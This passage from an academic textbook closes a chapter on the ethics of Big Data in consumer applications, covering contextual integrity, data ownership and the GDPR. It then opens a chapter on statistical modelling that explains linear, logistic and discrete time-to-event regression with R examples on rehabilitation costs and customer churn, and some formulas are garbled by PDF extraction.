solidarity in that case. These kinds of analyses could also provide a conceptual
basis for prevention programs, for example, insurance companies could demand for
certain diets or fitness programs to decrease certain health risks. This type of
behavior control that is economically attractive for insurance companies is in conflict
with the right of self-determination. To prevent this undermining of solidarity, there
are legal barriers. In Switzerland, for example, health insurance companies are not
allowed to exclude anyone from basic health insurance based on their behavior.

4.7 Contextual Integrity

The human environment is structured in social spheres that provide important
reference points for human beings. They expect to be treated differently in a family
context compared to, for example, in a governmental organization. They accept
inequality in treatment in the economic sphere that they would not accept in the
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health, legal, or education spheres. The interpretation of moral values such as
justice8 or autonomy, and the rules related to these values differ along these social
spheres. Accordingly, also the way information is produced and the social meaning
people attach to information differs in these spheres. This is what is called the
contextual integrity of information (see also Sect. 2.1). For example, if a person
discloses personal information in the health sphere for research purposes, the moral
foundation of this choice is to help other people. But if this information is used in a
different sphere such as the economic sphere, to tailor offer conditions (Case 2) or to
maximize profit (Case 5), the original intention to disclose this information and thus
its contextual integrity is violated.

Based on these considerations, Big Data relying on multidimensional sources
inherently entails the danger to violate contextual integrity of data. As data are
increasingly traded by data brokers and are used in complex algorithmic or statistical
models to make inferences on person groups, a violation of contextual integrity of
data is hard to detect even for the commercial user of such data. This also under-
mines the value of transparency.

It is hard to evaluate which violations of contextual integrity pose an ethical
problem, as the borders between social spheres as well as the rules within those
spheres are fluid to some degree. The interpretation of values can change, for
example, when individuals generally tend to disclose more personal information in
social networks and also have this expectation toward their fellow humans—and in
this way change the normative weight of privacy. Nevertheless, social spheres
remain central points of reference for understanding the world, which explains
why most people are filled with indignation when information emerging from their
personal friends is used for individualized prices (Case 3).

4.8 Property and Copyrights

The functioning of the economic sphere depends on certain moral foundations,
among which are the property right and the copyright. Both values are protected,
for example, by the Swiss constitution. In the case of Big Data the question emerges,
whether data also falls under these legal norms.

Using online services often entails the generation or disclosure of personal data,
which is the basis for new revenue sources of companies (Case 5). The economic
value of some companies is even measured based on the number of their customers
and the amount of data they generate. This poses the question: who owns this data?
When customers generate data on location or device usage when using smartphones,
tablets, or computers: are these data streams creations in the sense of copyright law?
Or is this the case not until companies use technologies to analyze this data?

8In the case of justice, different allocation rules exist. Examples include “an equal share for
everyone” or “sharing according to needs”.

10 The Ethics of Big Data Applications in the Consumer Sector 177



Depending on how these open questions are answered, the foundations of business
cases of many companies active in Big Data may be shattered. For example,
customers could have a share in the profits made by these data or they should have
the right that the company deletes all personal data of this person, as foreseen by the
new EU General Data Protection Regulation (GDPR).

From an ethical perspective, both the data provider and the companies that invest
in the analysis of this data should have a fair share of the profit. For the latter, the
current economic system is concerned, as companies only invest when they reason-
ably expect revenues—and they are free in investing or not. However, this is not the
case for the data providers. The current model is that the customers are compensated
by freely using certain services. In the future, this may not be sufficient and
companies should start considering alternative compensation models. As the
GDPR9 foresees mechanisms such as data access (Art 15) and data portability
(Art. 20; data subject have the right to receive the personal data concerning him or
her), companies have incentives to increase trust and fairness toward their customers
providing data. This may provide an incentive for new compensation models in
order to avoid costly executions of those rights.

5 Lessons Learned

As our use cases demonstrate, Big Data is transforming the way companies develop,
produce, offer, and advertise products and services. This may lead to added values
both for businesses and their customers—but these applications entail also ethical
risks, as they affect core values such as informational self-determination, transpar-
ency, and contextual integrity. Companies are well advised to be sensible to those
risks, as customers and other stakeholders are likely to become more critical with
respect to violation of those values. Also, Big Data applications need a “license to
operate” and companies have to demonstrate a responsible use of data. We therefore
suggest the following:

– Take the “ethics case” into account: When evaluating novel Big Data applica-
tions, companies should not only focus on the business case, but they should from
the beginning also evaluate which of the core values described in this study may
be affected in what way. This systematic involvement of ethics should be mapped
on the appropriate corporate responsibility structures. Companies may also con-
sider creating industry guidelines for a responsible use of Big Data.

– Take the customer-point-of-view: A simple test case for assessing the ethical
risks of a Big Data application is the following: Would the customer still agree on
disclosing his/her data when he/she knows exactly what is done with the data?
What is the actual state of knowledge of the customers with respect to Big Data

9Available at: https://gdpr-info.eu/ (last accessed February 28, 2018).

178 M. Christen et al.

https://gdpr-info.eu/


and how likely is it that this will change? What are likely benefits customers
would accept for trading in their data?

– Create transparency and freedom to choose: Trust and acceptance of con-
sumers is a mandatory requirement for the successful application of Big Data.
This requires that companies inform transparently and comprehensibly on how
data is collected and used. Depending on the service, opt-in solutions and the
provision of acceptable alternatives are successful strategies in that respect.

6 Conclusions

This chapter provided a summary of a study that intends to outline the ethics of Big
Data applications in the consumer sector. It made clear that an ethical evaluation
always involves a balancing in the single case in order to evaluate whether the
violation of some core values can be justified. Individual companies may be
overburdened in performing such an evaluation, making a public-private partnership
advisable. The state should support the relevant industries in creating industry
standards. In particular, some kind of standardization of general terms and condi-
tions forms may be advisable in order to increase the informed consent capacity of
customers. The goal should be that customers, and citizens, are empowered to better
understand the way and magnitude of data collection and analysis in the age of
Big Data.
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Chapter 11
Statistical Modelling

Marcel Dettling and Andreas Ruckstuhl

Abstract In this chapter, we present statistical modelling approaches for predictive
tasks in business and science. Most prominent is the ubiquitous multiple linear
regression approach where coefficients are estimated using the ordinary least squares
algorithm. There are many derivations and generalizations of that technique. In the
form of logistic regression, it has been adapted to cope with binary classification
problems. Various statistical survival models allow for modelling of time-to-event
data. We will detail the many benefits and a few pitfalls of these techniques based on
real-world examples. A primary focus will be on pointing out the added value that
these statistical modelling tools yield over more black box-type machine-learning
algorithms. In our opinion, the added value predominantly stems from the often
much easier interpretation of the model, the availability of tools that pin down the
influence of the predictor variables in concise form, and finally from the options they
provide for variable selection and residual analysis, allowing for user-friendly model
development, refinement, and improvement.

1 Introduction

Statistical modelling refers to the technique of finding a systematic relation between
a response variable y and a number of predictors while accounting for random
deviation. Mathematically, this may be expressed as

y � f x1; x2; . . . ; xp
� �

In what sense random deviation makes the relation approximate remains to be
clarified. Since function space is infinite-dimensional, it is impossible to learn such
relations from observed data that always come in finite quantities only. The problem
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of learning f() from data is only feasible if previous knowledge is available and/or
(strong) assumptions on the structure of f() are made. A simple albeit very popular
way out is the restriction1 to linear models, that is,

f x1; . . . ; xp
� � ¼ β0 þ β1x1 þ . . .þ βpxp:

This reduces the problem to learning the parameters β0, β1, . . . , βp from data,
while considering an appropriate form of random deviations. In many cases, this is a
challenge that can be tackled easily. In this chapter, we detail how such linear models
can be adapted to cope with various types of response variables y; how they can be
made more flexible by incorporating variable transformations and further general-
izations; in which form they are used in practice; and what the benefits over other,
more complex and modern approaches are.

Multiple linear regression models and the ordinary least square algorithm (OLS)
for estimating their coefficients date back as far as to the beginning of the nineteenth
century, when these techniques had first been used to solve applied problems in
astronomy (Plackett 1972; Stigler 1981). They are applied for dealing with quanti-
tative response variables y that are on a continuous scale, that is, y 2 (�1,þ1) and
an additive Gaussian error term E to model the random deviations:

y ¼ β0 þ β1x1 þ . . .þ βpxp þ E:

The main advantage of the OLS algorithm lies in the existence of a unique
solution that can be written in explicit form; hence, it was possible to fit such
statistical regression2 models without the use of modern computers. Even today, it
remains one of the most frequently applied techniques in data analysis. This popu-
larity may be rooted in the fact that while the solution of a linear regression model is
easy to interpret, the use of variable transformations allows for great flexibility and
accuracy for many predictor/response relations. Finally, but importantly, there are
also mathematical optimality results for the OLS estimator (see, e.g., Sen and
Srivastava 1990). Simply put, it can be shown that there are no other, equally simple
approaches that are more efficient. In this chapter, we will introduce the basic theory
and explain the practical application with a special focus on the benefits of multiple
linear regression over more modern but less transparent methods. All this will be

1In practice, the restriction is not as severe as it may seem. We point out what is encompassed by
“linear models” in Sect. 2.1.
2This nomenclature is somewhat unfortunate since it has little to do with “going backward”, as the
word regression implies. The name has been coined in an early (1885) application by Sir Francis
Galton, which dealt with the relationship of heights of parents and heights of offspring. He showed
that the heights of children of tall parents tend to regress down toward an average height and vice
versa. He called this biological phenomenon “regression toward mediocrity”. His analysis approach
was later extended and applied in more general studies involving relationships but the biologically
motivated nomenclature has been preserved.
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based on an example that is taken from the authors’ research and deals with
predicting the daily cost of inpatients in neurological rehabilitation.

The logistic regression model is used in cases where the response variable y is a
binary 0/1 variable and has been introduced by David Cox in 1958. Although it can
be used for classification, it is more suited to determine class membership probabil-
ities and to recognize which of the used predictors drive the variation in the response.
While the logistic regression problem has no explicit solution and (basic) numerical
optimization is required, the approach is still relatively simple and theoretically well
founded. As with multiple linear regression, the identified prediction model is easy
to interpret, enhance, and verify. Moreover, it often provides a concise and intuitive
output. We will explain theory and practice for logistic regression models using an
example rooted in the authors’ research. It deals with estimating churn (contract
cancellation) probabilities for a Swiss telecommunication provider.

Another sub-field of regression modelling is the analysis of time-to-event data.
For these kinds of problems, the durations until a specified event happens are
analyzed in order to estimate how they are affected by prognostic factors, treatments,
or interventions. The considered event may be death, failure of a technical compo-
nent, or any other endpoint such as healing, divorce, promotion of employees,
termination of a task, arrival of a request, and so on. One of the distinctive features
of such data is that not all events necessarily occur within the observed period or that
earlier events have already happened that preclude the target event (e.g., a failure of a
system cannot be observed anymore after the system has been replaced). Hence, for
some observations, we know a priori that the time to event is larger than the observed
duration. Such data are called censored. A crucial point is dealing with censoring
correctly in a statistical analysis of such data.

First techniques might be attributed to the early work on mortality tables in the
seventeenth century (John Graunt published a mortality table of London in 1662).
The modern era started during World War II with applications to the reliability of
military equipment. Most of the statistical research for engineering applications was
concentrated on parametric distribution models, such as the Weibull (regression)
model. Applications in life sciences in the second half of the twentieth century
shifted the statistical focus to semi-parametric approaches like the proportional
hazard approach in Cox regression (Cox 1972), where the distribution family of
the duration is unknown. We will give some insight into analyzing time-to-event
data in cases of discretized failure times of water pipe data. Obviously, the reliability
of pipes is affected by age and many more factors. The big advantage in such a
setting is that it allows us to use the binary regression framework.

The remainder of this chapter is organized as follows: First, we give some further
background information on the statistical models used in the examples. Then we
discuss three application cases mainly with respect to our understanding of the
statistical modelling task. Finally, we will conclude with some general thoughts.
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2 Background Information

2.1 Multiple Linear Regression

When people talk about statistical modelling and regression techniques, they usually
have the basic multiple linear model in mind. This corresponds to the formula

y ¼ β0 þ β1x1 þ β2x2 þ . . .þ βpxp þ E, ð11:1Þ

where y is the response variable, x1, . . . , xp are some predictors, and E is an error
term, accounting for the remaining (random) variation in the response. Usually, a
Gaussian distribution is assumed for E and the regression coefficients β0, β1, . . . , βp
are estimated using the ordinary least square (OLS) algorithm. Its idea is that the
coefficients are determined such that the sum of squared residuals, that is, the
differences between observed and predicted values, are minimized. Under some
mild conditions, this problem has a unique and explicit solution, so that numerical
optimization is not required. In case of independent and identically distributed
Gaussian errors, OLS corresponds to the maximum likelihood estimator (MLE),
assuring that this is an efficient technique. Furthermore, exact confidence intervals
and tests for the regression coefficients and the predicted values can be derived,
allowing for theoretically sound inference and precision intervals. There are many
textbooks discussing the theoretical foundations of statistical regression analysis.
We recommend the work of Montgomery et al. (2006).

One may fear that the relatively simple linear combination of predictor variables
is not powerful enough to meet the needs of the data scientist. However, by using
transformations and interaction terms, the model can be greatly enhanced without
leaving the theoretical and methodical envelope of OLS regression. For any predic-
tor variable, arbitrary transformations such as the log (x01 ¼ f 1 x1ð Þ ¼ log x1ð Þ ) or
powers (x02 ¼ f 2 x2ð Þ ¼ x22) can be carried out. In addition, interaction terms such as
x03 ¼ f 3 x1; x2ð Þ ¼ x1x2 may be added to the model. The only technical restriction is
that the model has to remain linear in the regression coefficients β0, . . . , βp,
excluding terms such as x β44 . Furthermore, the data analyst has to decide on the
right transformations and model formulations mostly by himself, so statistical
regression modelling remains a creative act, guided by intuition and field knowl-
edge. Even further flexibility is gained if the response variable y0 ¼ log( y) is used,
that is, a log-transformed response is linked to a multiple linear regression model
with Gaussian error. If we express that relation on the original scale, we obtain

y ¼ eβ0þβ1x1þ...þβpxpþE ¼ eβ0 � eβ1x1 � . . . � eβpxp � eE:

This is now a multiplicative relation with a multiplicative error term that follows a
lognormal distribution. Since all terms on the right hand side are positive, all
predicted values will be positive too. Because many response variables in data
analysis are strictly positive, this enhanced multiple linear regression model very
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often is more realistic than the original one. Please note that it is still possible to use
variable transformations of predictor variables or adding interaction terms.

2.2 Logistic Regression

From a basic view, logistic regression can be seen as a multiple linear model (11.1)
for a transformed target variable. If p(x) ¼ P(y ¼ 1| x1, . . . , xp) ¼ E[y| x1, . . . , xp],
we can work with the logit transformation:

log
p xð Þ

1� p xð Þ
� �

¼ β0 þ β1x1 þ : . . .þ βpxp ð11:2Þ

Again, transformations of the predictor variables and/or interaction terms may
also be included. Hence, the essence again lies in using a linear combination on the
right-hand side of the model equation. The logit transformation ensures that the
predicted values for p(x) are restricted to the interval [0, 1]. In fact, we can also
re-express the relation for p(x):

p xð Þ ¼ exp β0 þ β1x1 þ . . .þ βpxp
� �

1þ exp β0 þ β1x1 þ . . .þ βpxp
� �

From this formulation, it is obvious that the problem is no longer linear in the
unknown regression coefficients β0, . . . , βp, making their estimation more compli-
cated than in the OLS model. Moreover, the absence of the error term E is notable.
As we are estimating probabilities for a (conditionally) Bernoulli distributed
response variable, there is no room for a Gaussian error, but the variation of the
response can be accommodated conceptually with the estimation of probabilities for
a 0/1 response variable.3 Finding the parameters is again based on MLE principles,
requiring the assumption of independent and identically distributed cases. Under
these circumstances, the Bernoulli log-likelihood l(β) for p(x) can be optimized:

l βð Þ ¼
Xn
i¼1

yilog pið Þ þ 1� yið Þlog 1� pið Þð Þ

Please note that this is a sensible goodness-of-fit measure for 0/1-response. For all
observations with yi¼ 1 we aspire for high pi to keep the contribution to l(β) low and
vice versa for the observations with yi ¼ 0. Log-likelihood maximization needs to be

3More precisely, the target quantity is instead a suitably transformed conditional expectation of the
original response variable itself.
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done numerically here; usually an iteratively reweighted sequence of OLS regres-
sions is used, minimizing issues with convergence to the global optimum.

Under the formulation we used, multiple linear regression and logistic regression
are two statistical modelling techniques sharing some common background, namely,
the linear combination of predictor variables on the right-hand side of the model
equation. However, there are also very important differences (i.e., error term,
optimization method). As it turns out, there is a common framework where both
methods as well as related techniques for other types of response variables neatly fit.
The framework is known as generalized linear models (GLMs, see McCullagh and
Nelder 1989). The fundamental idea of GLMs and hence of all statistical regression
models is to explain the suitably transformed conditional expectation of the response
variable by a linear combination (of potentially transformed) predictor variables:

g E yjx1; x2; . . . ; xp
� �� � ¼ β0 þ β1x1 þ β2x2 þ . . .þ βpxp

Rather than modelling the response or the probability for positive response
directly, the approach consists of describing the (suitably transformed) conditional
expectation of the response with a linear combination of the predictors. GLM theory
furthermore lends itself to estimating the unknown coefficients using MLE and
provides a battery of tests that can be used for assessing the output. For the multiple
linear regression model, the conditional response distribution is Gaussian and MLE
corresponds to the OLS algorithm. With logistic regression, the conditional distri-
bution is Bernoulli (or Binomial for grouped data) and coefficient estimation is based
on optimizing the respective likelihood.

2.3 Time-to-Event Models

Time-to-event models are technically not GLMs. However, with discretized duration
times, time-to-event models can be expressed as binary regression models for which
logistic regression is a special case. Before we go into details of such binary
regression models, we introduce the hazard rate h(t), which is the most often
targeted quantity in time-to-event analysis. It quantifies the instantaneous risk that
an event will occur at duration time t. The height of the risk may depend on the
features of the object or subject at risk. The higher the hazard risk is, the earlier the
event occurs and, hence, the distribution of the duration time is concentrated more
toward the left on the positive time axis. Cox (1972) suggested modelling such a
hazard rate as a product4 of a baseline hazard rate λ0(t), which is left unspecified, and
a linear function of a set of p fixed predictors that is then exponentiated:

4That is why it is also called proportional hazard model.
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hi tð Þ ¼ λ0 tð Þ � exp β1 � xi1 þ . . .þ βp � xip
� �

:

The baseline hazard rate λ0(t) would specify the distribution
5 of the duration time,

but it is unnecessary to explicitly do so. The second factor acts as a proportionality
factor to the baseline hazard that depends on the predictor variables only. If there are
many ties in duration times, as we have when they are discretized, for example, in
years, the standard Cox estimating procedure is biased toward 0. However, one can
show that a binary regression model is equivalent to the Cox model [see, e.g.,
Fahrmeir and Tutz (2001), or Kalbfleisch and Prentice (2002)]. In such cases, we
consider the conditional probability of failing in time period k given by the
discretization:

p kjxð Þ ¼ E event happens at duration time period kjX ¼ x½ �

This can be interpreted as the hazard probability that the event occurs in duration
period k, given the event has not occurred before. Note that p(k| x) is a probability,
whereas the hazard function h(t) is a rate. For estimating the parameters, we could
use the logistic regression model introduced in (11.2). In order to obtain a discretized
version of Cox’s model, we must however use the complementary log-log transfor-
mation of the probability p(k| x):

log �log 1� p t ¼ kjxð Þð Þð Þ ¼ γk þ β1x1 þ . . . βpxp, ð11:3Þ

where γk is the log-transformed baseline hazard probability at t ¼ k (see Sect. 9.2 in
Fahrmeir and Tutz 2001, or Sects. 2.4 and 4.6 in Kalbfleisch and Prentice 2002). In
addition, this transformation allows us to apply the methods of GLM for fitting the
model. However, the data have to be prepared such that at every duration time period
k all observational units are considered which are at risk that the event could occur.
Thus, observational units whose event occurred before duration time period k or
observational units which are censored will not be considered as being at risk. This
setup allows dealing smartly with censored data while still applying standard
estimation theory. There are many textbooks discussing theoretical concepts and
applications of the analysis of time-to-event data, and we recommend the work of
Allison (2010) for a practical introduction.

5There is an explicit relation between the density f(t) of a time-to-event distribution and the
corresponding hazard rate h(t), see Sect. 1.2.1 in Kalbfleisch and Prentice (2002).
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3 Statistical Regression Models

In the following, we will explain the modelling process, as well as the benefits of
multiple linear regression, logistic regression, and time-to-event regression models
based on examples. All these examples are taken from the authors’ research.

3.1 Multiple Linear Regression for Continuous Response

The goal in this first example is to study the daily cost in inpatient neurological
rehabilitation. From seven hospitals, a random sample of 407 patients was obtained,
most of whom were originally suffering from craniocerebral injuries or apoplectic
strokes. The total (time) effort for care, therapy, and medical examinations was
measured over the course of one week of stay, expressed in CHF/day and serves as
the response variable, subsequently denoted with cost. Obviously, this average daily
cost cannot take negative values, which needs to be taken into account when we set
up our regression model. There are a number of predictors available for each patient:
these include

• The hospital in which the patient was treated ( factor variable with 6 levels A-G,
anonymized).

• His insurance plan ( factor variable with 3 levels basic/medium/comfort).
• Whether the patient felt pain at the start of the survey period ( factor variable with

3 levels no/mild/severe).
• A numerical score (14–45) reporting about each patient’s multimorbidity
• The ADL (activities of daily life) assessment was taken at the start of the survey

period (the ADL assessment is based on about 20 items that quantify the
autonomy of a patient, e.g. personal hygiene, feeding, etc. and results in a
numerical score between 0 (maximum autonomy) and 56).

Please note that the original study was more complex, with some simplification
being performed here to give a concise exposition. In Fig. 11.1, we first display a
histogram showing the distribution of the response variable “cost” and a scatterplot,
showing the univariate dependence of cost on ADL. We start out with a simple
regression model and estimate the regression coefficients β0, β1 using OLS. This
does not yield a sensible and correct solution. As the plots in Fig. 11.1 indicate, the
scatter around the red regression line is imbalanced, with much bigger deviations
toward higher than lower costs. This leads to a regression line that in general
suggests too high expected costs. Both phenomena are visible in the scatterplot
(top right panel in Fig. 11.1). However, some diagnostic plots as shown in the
bottom two panels allow for clearer identification of the model’s deficits and in more
complex, multiple regression models these are the only options for assessing the
quality of a model. The plot of residuals vs. fitted values clearly indicates a
systematic error in the regression relation, while the normal plot very clearly
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indicates that the residuals follow a strongly skewed distribution. Finally, but
importantly, please note that this simple regression model without variable trans-
formations will also result in prediction intervals with negative cost values that
cannot exist in practice. The lesson we learn from this simple exposition is that
there are diagnostic tools for assessing the quality of a regression fit and that it is
relatively easy to recognize faulty models.

Improving these aforementioned drawbacks is surprisingly simple; we just have
to log-transform the response variable, that is, use the model of
log(cost) ¼ β0 þ β1 � ADL þ E. If expressed for cost, this is an exponential relation
with a relative, lognormal error term E0:

cost ¼ eβ0þβ1�ADLþE ¼ β00 � eβ1�ADL � E0

Fig. 11.1 In the top left panel, a histogram of cost indicates that this variable is positive and right-
skewed. The scatterplot in the top right panel shows the regression situation of cost vs. ADL. Two
regression fits were added, in red the faulty straight-line model and in blue a more appropriate
exponential fit obtained after variable transformation. The bottom panels show the popular diag-
nostic visualizations of residuals vs. fitted and the normal plot for the faulty straight line model.
They indicate that there is a systematic misfit with skewed residual distribution
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This is much closer to reality from a theoretical and practical viewpoint (see Sect.
2.1) and the diagnostic plots (not shown here) also indicate a better fit for this
model.6 Simply put, the expected cost for a patient increases exponentially with his
ADL value with multiplicative errors that follow a lognormal (and hence right-
skewed) distribution. Due to the log-transformation, negative predictions for the cost
variable will not appear.

Our initial goal, however, was to relate the daily cost in inpatient neurological
rehabilitation not only to ADL but also to multiple variables at the same
time. The main goals in this extended analysis are to perform variable selection
and designing a practically suitable system that allows for precise yet simple
prediction of daily patient costs on a weekly basis. Another requirement lies
in correcting the prediction scheme for the confounding effect of hospital and
insurance plan. As we will explain in the course of our analysis, these aims can
ideally be targeted with multiple regression models and would be much more
difficult to achieve with modern methods which do not explicitly report the
contribution of the predictors. For the reasons mentioned above, we will stick
to the log-transformation for the response variable and start out with the follow-
ing model:

> fit <- lm(log(cost) ~ clinic + insurance + pain +
multimorbidity + adl, data=dat)

We here use some typical annotation for regression models that is similarly used
in many statistical software tools. On the left hand side of “~”, we have the response
variable; while on the right there is a list of the predictors with which a linear
combination will be formed, as explained in Sect. 2. The same residual plots as in
Fig. 11.1 (not shown here) confirm that this model is more appropriate: there is no
systematic error so that we can believe that the cost deviations for the various
individuals are completely random with an expectation of zero. If anything, the
distribution of the residuals is slightly long-tailed and violating the Gaussian
assumption. As it is symmetric though, this will not negatively influence our fit in
a worrying manner. Next, we inspect the typical regression summary that all
statistical software provides in a similar fashion (Fig. 11.2).

From this output, there is a lot to extract which is very relevant for practical
application. As it turns out, the spread between the most and least cost-effective
hospital is at exp(0.063 � (�0.096)) ¼ 1.172. This means that the expected cost in
clinic F is 17.2% higher than in clinic E. Such a difference is within a realistic range,
since there are differences in quality and number of staff, the salaries, infrastructure,
and treatment. Due to the positive regression coefficient estimates, we also recognize
that there is an increase in expected cost with better insurance plans (e.g., by exp

6This approach is not the only way for improving the first, inadequate model. An alternative model
is the gamma regression model, part of GLM, which we will however not pursue any further in this
chapter.
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(0.137) ¼ 1.147 or 14.7% for the medium over the basic insurance plan or by exp
(0.196) ¼ 1.216 or 21.6% for the comfort over basic insurance plan), more pain,
more multimorbidity, and increasing ADL (i.e., less autonomy). The residual stan-
dard error allows to exactly characterize the scatter of the costs: the expected
cost has a multiplicative lognormal error with μ ¼ 0 and σ ¼ 0.38. Our model
explains around 48% (multiple R-squared) of the differences in the (logged) costs of
the patients, while the rest needs to be attributed to individual differences not
accounted for by our predictors. As the F-statistic shows our model is also highly
significant.

We now put some emphasis on the effect of pain. The coefficients and hence the
influence on expected costs are relatively small, but formal inference is not possible
from the above summary output. However, regression theory provides a formal test
(named hierarchical model comparison or F-test) that infers whether the presence of
said predictor and its two associated regression coefficients is beneficial for
explaining the response variable. The test is based on comparing the residual sum
of squares of models with and without the pain variable. As it turns out, the effect of
pain is non-significant with a p-value of 0.72. Other options for cleaning the model

> summary(fit)
Coefficients:

Estimate Std. Error t value Pr(>|t|)    
(Intercept)       5.496242   0.102768  53.482  < 2e-16 ***
clinicA           0.000000         NA      NA       NA
clinicB          -0.010156   0.060201  -0.169  0.86611    
clinicC          -0.002814   0.068818  -0.041  0.96740    
clinicD -0.018907   0.071527  -0.264  0.79166    
clinicE          -0.095570   0.066671  -1.433  0.15252    
clinicF           0.062975   0.066246   0.951  0.34238    
insurancebasic    0.000000         NA      NA       NA
insurancemedium   0.137015   0.061097   2.243  0.02548 *  
insurancecomfort  0.195722   0.059157   3.309  0.00102 ** 
painno            0.000000         NA      NA       NA
painmild          0.011865   0.047709   0.249  0.80373    
painsevere        0.040569   0.050398   0.805  0.42132 
multimorbidity    0.013452   0.004075   3.301  0.00105 ** 
adl               0.020436   0.001264  16.164  < 2e-16 ***
---
Residual standard error: 0.3785 on 395 degrees of freedom
Multiple R-squared:  0.4797,  Adjusted R-squared:  0.4652
F-statistic:  33.1 on 11 and 395 DF,   p-value: < 2.2e-16

Fig. 11.2 Summary output of the multiple linear regression model that was fitted to the neurolog-
ical rehabilitation data. It reports the estimated coefficients, that is, the contribution of the predictor
variables in explaining the observed, logged cost. Additionally, the standard errors (i.e., precision of
estimation) and information about the statistical significance of these predictors (columns entitled
t value and Pr(>|t|) is given. The lower three lines report information about the model as a
whole; they all target the ratio between the amount of the logged cost explained by the predictors
and the remaining variation which remains unaccounted for
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from unnecessary predictors that are popular among practitioners include stepwise
procedures that are based on the Akaike Information Criterion (AIC). These also
suggest removing the pain variable, while all others are retained. From a clinical
perspective, this model reduction was well received, because pain is notoriously
difficult to evaluate, has great individual scatter with low reliability, and requires
cooperation of the patient, which is not the case for the other attributes that can be
assessed by medical staff.

Hence, we have now identified our final prediction model for daily patient
cost. Many alternative methods are conceivable as well. However, in our opinion,
the advantage of our approach lies in the clear underlying theoretical concepts,
which allow for unbiased prediction with a sound confidence interval for the
expected value, as well as a prediction interval for potential future observations.
Many modern regression methods do not offer such precise uncertainty metrics
with clear, theoretically founded concepts. For our project, the goal was to
determine four different patient cost groups (PCGs). For reasons rooted in the
practical implementation of the system, both clinic and insurance plans were not
considered in this grouping process. The grouping was obtained from the
predicted cost value for every patient from the remaining regression coefficients
for multimorbidity and ADL. From these values, clustering into four equally
sized patient cost groups (PCGs) was performed. With these, a second multiple
linear regression for the logged cost was fitted, using only the three predictor
variables clinic, insurance, and PCG:

> fit <- lm(log(cost) ~ clinic + insurance + pcg, data=dat)

While the first-stage regression model resulted in the grouping logic to separate
all present and future patients into four entities, the regression coefficients for the
PCG variable from the second-stage regression model show the expected cost
difference among the groups. According to federal law, both the grouping logic
and the cost weights will build the mandatory tariff system to be used in all
rehabilitation clinics in Switzerland after January 1, 2020. Still, a base rate specific
for each hospital and insurance class can be negotiated between the involved parties.
The entire process associated to this multiple-regression-driven patient classification
system is displayed in Fig. 11.3. It shows that the fourth and most expensive PCG on
average has around 2.4� higher cost per day than the first and least expensive one.
This difference has been found as being economically very relevant by both the
hospital’s financial officers and the politicians responsible for the approval of the
system. From a more mathematical viewpoint, the classification into four equally
sized PCGs seems arbitrary, with better options that offer stronger separation of cost
weights nearby. Such alternatives were considered, but finally rejected in the
political process.
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3.2 Logistic Regression for Binary Response

This section focuses on binary response problems and the regression methods that
are suited for tackling these. The example that will be used originates from a Swiss
business, where contract cancellation (aka churn for change and turn) is studied. We
are using data from 983 customers, of which 144 (14.65%) churned during the
observation period. Furthermore, we have information on which of three regions in
Switzerland the customer resided in, about his/her sex, age, and duration of the
contract, as well as which of seven different products the customer was subscribed
to. Again, the original study was more complex with a much bigger sample size that
was reduced here to improve clarity of exposition. In this section, we will point out
that the big advantage of logistic regression models is not necessarily in the most
precise prediction of churn probabilities or outcome, but that they provide a theo-
retically well-founded, concise solution that is (relatively) easy to interpret and tells
us which customers (segments) are at high risk for (e.g.) churn.

We start out with the simpler problem of studying the dependence of the response
variable churn on customer age and contract duration first. This has the advantage of
having two predictors only, so that data and fitted values can be displayed graphi-
cally, see Fig. 11.4. Later on, we will discuss the solution for the full problem with
all predictor variables. The poor man’s solution to logistic regression consists of
fitting a multiple linear regression model with OLS, which we strongly discourage
for the reasons to follow:

Patient Cost Group 1
Score <= (0.5555)
Relative Weight 1.000 

Patient Cost Group 2
Multimorbidity (0.5555) < Score <= (0.7935)
Value in {14,…,56} Value * (0.013493) Relative Weight 1.351

+ Patient Cost Group 3
(0.7935) < Score <= (1.1027)

ADL Relative Weight 1.829 
Value in {0,…,56} Value * (0.020419)

Patient Cost Group 4
= (1.1027) < Score

Total Score Score Relative Weight 2.396 

Grouper PCS

Fig. 11.3 Schematic display of a classification system for inpatient neurological rehabilitation in
Switzerland. From a random sample consisting of 407 patients, their score was determined based on
a weighting scheme that originated from a multiple regression model of logged cost vs. several other
variables. This allowed for classification into four patient cost groups, for which relative weights
were then determined in a second-stage multiple regression model. Please note that the values
displayed here differ from the original results and are for exposition only
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churn ¼ β0 þ β1 � ageþ β2 � durationþ E

This model will ultimately lead to fitted values (which are interpreted as some-
thing like churn “probabilities”) that are beyond the interval [0, 1] and thus lack
practical relevance. Furthermore, since churn is a 0/1-variable, the error term E has a
binary distribution and definitely is non-Gaussian, violating the assumptions to make
OLS a good estimator for the regression coefficients. In summary, the above model
is miss-specified and should not be used. As pointed out in the introduction, the key
lies in modelling the appropriately transformed conditional expectation of the
response variable. This is the core idea of generalized linear modelling. If we denote
with p(x) ¼ P[y ¼ 1|X ¼ x] the conditional probability (and expectation!) for churn,
the logistic regression model is:

log
p xð Þ

1� p xð Þ
� �

¼ β0 þ β1 � ageþ βp � duration

Using MLE, the coefficients can be estimated numerically, by solving iteratively
reweighted least squares problems. Such routines are implemented in many statisti-
cal software packages. The R command and output are as follows:

> fit <- glm(churn ~ age + duration, data=dat, family=binomial)
> fit

Fig. 11.4 Scatterplot showing customer age in years and contract duration in months for 983 indi-
viduals. Red dots correspond to customers who cancelled their contract in the observation period
(i.e., churned), while the ones marked with black triangles remained. It is easy to discern that
younger age and shorter contract duration leads to higher churn risk. This is picked up by our
logistic regression model, whose fitted values have been plotted as gray background color. The
orange contours correspond to probabilities of 0.05, 0.10, 0.15, 0.20, and 0.25 (from top right to
bottom left) for contract cancellation
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Coefficients:
(Intercept) age duration

-0.13701 -0.02560 -0.01227

The fit from this model is displayed in Fig. 11.4, see above. We now turn our
attention to the interpretation of the regression coefficients. Obviously, the term on
the left-hand side of the model equation, the so-called log-odds for churn log( p/
(1 � p)), is a linear function of the predictors. Thus, if a particular predictor xj is
increased by 1 unit, then the log-odds in favor of y ¼ 1 increase by βj if all other
predictors remain unchanged. Hence, when the customer’s age increases by one
year, the log-odds decrease by �0.02560. This can also be expressed as the odds
being multiplied with factor exp(�0.02560) ¼ 0.9747. While these figures are
constant and independent of duration, the effect on churn probability is not, as
Fig. 11.4 instructively shows.

Naturally, the model provides a churn probability for each of the individuals that
were part of fitting. Applying the model to future cases is quick and easy. Usually, all
instances with a predicted churn probability of 50% (or any arbitrary other value in
case of unequal misclassification costs) or more are classified as churners. Finally, it is
also possible to provide standard errors from which confidence intervals for the fitted
probabilities can be given. We now turn our attention to the inference and model
selection tools that logistic regression offers. We enhance our current two-predictor-
